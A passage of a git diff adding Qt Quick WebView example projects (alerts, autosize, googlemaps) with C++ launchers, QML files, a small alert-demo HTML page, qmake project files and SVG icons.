+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/alerts/alerts.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/modelviews/webview/alerts/qml/alerts/alerts.html b/examples/declarative/modelviews/webview/alerts/qml/alerts/alerts.html
new file mode 100644
index 00000000..82caddf7
--- /dev/null
+++ b/examples/declarative/modelviews/webview/alerts/qml/alerts/alerts.html
@@ -0,0 +1,5 @@
+<html>
+<body onclick="alert('This is an alert')">
+<p>This is a web page. It fires an alert when clicked.
+</body>
+</html>
diff --git a/examples/declarative/modelviews/webview/alerts/qml/alerts/alerts.qml b/examples/declarative/modelviews/webview/alerts/qml/alerts/alerts.qml
new file mode 100644
index 00000000..94670096
--- /dev/null
+++ b/examples/declarative/modelviews/webview/alerts/qml/alerts/alerts.qml
@@ -0,0 +1,101 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import QtWebKit 1.0
+
+WebView {
+ id: webView
+ width: 200
+ height: 150
+ url: "alerts.html"
+
+ onAlert: popup.show(message)
+
+ Rectangle {
+ id: popup
+
+ color: "red"
+ border.color: "black"; border.width: 2
+ radius: 4
+
+ y: parent.height // off "screen"
+ anchors.horizontalCenter: parent.horizontalCenter
+ width: label.width + 5
+ height: label.height + 5
+
+ opacity: 0
+
+ function show(text) {
+ label.text = text
+ popup.state = "visible"
+ timer.start()
+ }
+ states: State {
+ name: "visible"
+ PropertyChanges { target: popup; opacity: 1 }
+ PropertyChanges { target: popup; y: (webView.height-popup.height)/2 }
+ }
+
+ transitions: [
+ Transition { from: ""; PropertyAnimation { properties: "opacity,y"; duration: 65 } },
+ Transition { from: "visible"; PropertyAnimation { properties: "opacity,y"; duration: 500 } }
+ ]
+
+ Timer {
+ id: timer
+ interval: 1000
+
+ onTriggered: popup.state = ""
+ }
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ width: webView.width *0.75
+
+ color: "white"
+ font.pixelSize: 20
+ wrapMode: Text.WordWrap
+ horizontalAlignment: Text.AlignHCenter
+ smooth: true
+ }
+ }
+}
diff --git a/examples/declarative/modelviews/webview/autosize/autosize.png b/examples/declarative/modelviews/webview/autosize/autosize.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/modelviews/webview/autosize/autosize.png
Binary files differ
diff --git a/examples/declarative/modelviews/webview/autosize/autosize.pro b/examples/declarative/modelviews/webview/autosize/autosize.pro
new file mode 100644
index 00000000..36d70f6b
--- /dev/null
+++ b/examples/declarative/modelviews/webview/autosize/autosize.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/autosize
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xEE6AB317
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/modelviews/webview/autosize
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/modelviews/webview/autosize/autosize.qmlproject b/examples/declarative/modelviews/webview/autosize/autosize.qmlproject
new file mode 100644
index 00000000..f1bf807c
--- /dev/null
+++ b/examples/declarative/modelviews/webview/autosize/autosize.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/autosize"
+ }
+ JavaScriptFiles {
+ directory: "qml/autosize"
+ }
+ ImageFiles {
+ directory: "qml/autosize"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/modelviews/webview/autosize/autosize.svg b/examples/declarative/modelviews/webview/autosize/autosize.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/modelviews/webview/autosize/autosize.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/modelviews/webview/autosize/main.cpp b/examples/declarative/modelviews/webview/autosize/main.cpp
new file mode 100644
index 00000000..b5b7da3e
--- /dev/null
+++ b/examples/declarative/modelviews/webview/autosize/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockPortrait);
+ viewer.setMainQmlFile(QLatin1String("qml/autosize/autosize.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/modelviews/webview/autosize/qml/autosize/autosize.qml b/examples/declarative/modelviews/webview/autosize/qml/autosize/autosize.qml
new file mode 100644
index 00000000..38847e0e
--- /dev/null
+++ b/examples/declarative/modelviews/webview/autosize/qml/autosize/autosize.qml
@@ -0,0 +1,106 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import QtWebKit 1.0
+
+// The WebView size is determined by the width, height,
+// preferredWidth, and preferredHeight properties.
+Rectangle {
+ id: rect
+ width: 200
+ height: layout.height
+
+ Column {
+ id: layout
+ spacing: 2
+
+ WebView {
+ html: "No width defined."
+ Rectangle {
+ color: "#10000000"
+ anchors.fill: parent
+ }
+ }
+
+ WebView {
+ width: rect.width
+ html: "The width is full."
+ Rectangle {
+ color: "#10000000"
+ anchors.fill: parent
+ }
+ }
+
+ WebView {
+ width: rect.width/2
+ html: "The width is half."
+ Rectangle {
+ color: "#10000000"
+ anchors.fill: parent
+ }
+ }
+ WebView {
+ width: rect.width/2
+ html: "The_width_is_half." // not wrapped
+ Rectangle {
+ color: "#10000000"
+ anchors.fill: parent
+ }
+ }
+
+ WebView {
+ preferredWidth: rect.width/2
+ html: "The preferredWidth is half."
+ Rectangle {
+ color: "#10000000"
+ anchors.fill: parent
+ }
+ }
+ WebView {
+ preferredWidth: rect.width/2
+ html: "The_preferredWidth_is_half." // not wrapped
+ Rectangle {
+ color: "#10000000"
+ anchors.fill: parent
+ }
+ }
+ }
+}
diff --git a/examples/declarative/modelviews/webview/googlemaps/googlemaps.png b/examples/declarative/modelviews/webview/googlemaps/googlemaps.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/modelviews/webview/googlemaps/googlemaps.png
Binary files differ
diff --git a/examples/declarative/modelviews/webview/googlemaps/googlemaps.pro b/examples/declarative/modelviews/webview/googlemaps/googlemaps.pro
new file mode 100644
index 00000000..14f75533
--- /dev/null
+++ b/examples/declarative/modelviews/webview/googlemaps/googlemaps.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/googlemaps
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xEF02570C
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/modelviews/webview/googlemaps
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/modelviews/webview/googlemaps/googlemaps.qmlproject b/examples/declarative/modelviews/webview/googlemaps/googlemaps.qmlproject
new file mode 100644
index 00000000..23a41e5d
--- /dev/null
+++ b/examples/declarative/modelviews/webview/googlemaps/googlemaps.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/googlemaps"
+ }
+ JavaScriptFiles {
+ directory: "qml/googlemaps"
+ }
+ ImageFiles {
+ directory: "qml/googlemaps"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/modelviews/webview/googlemaps/googlemaps.svg b/examples/declarative/modelviews/webview/googlemaps/googlemaps.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/modelviews/webview/googlemaps/googlemaps.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 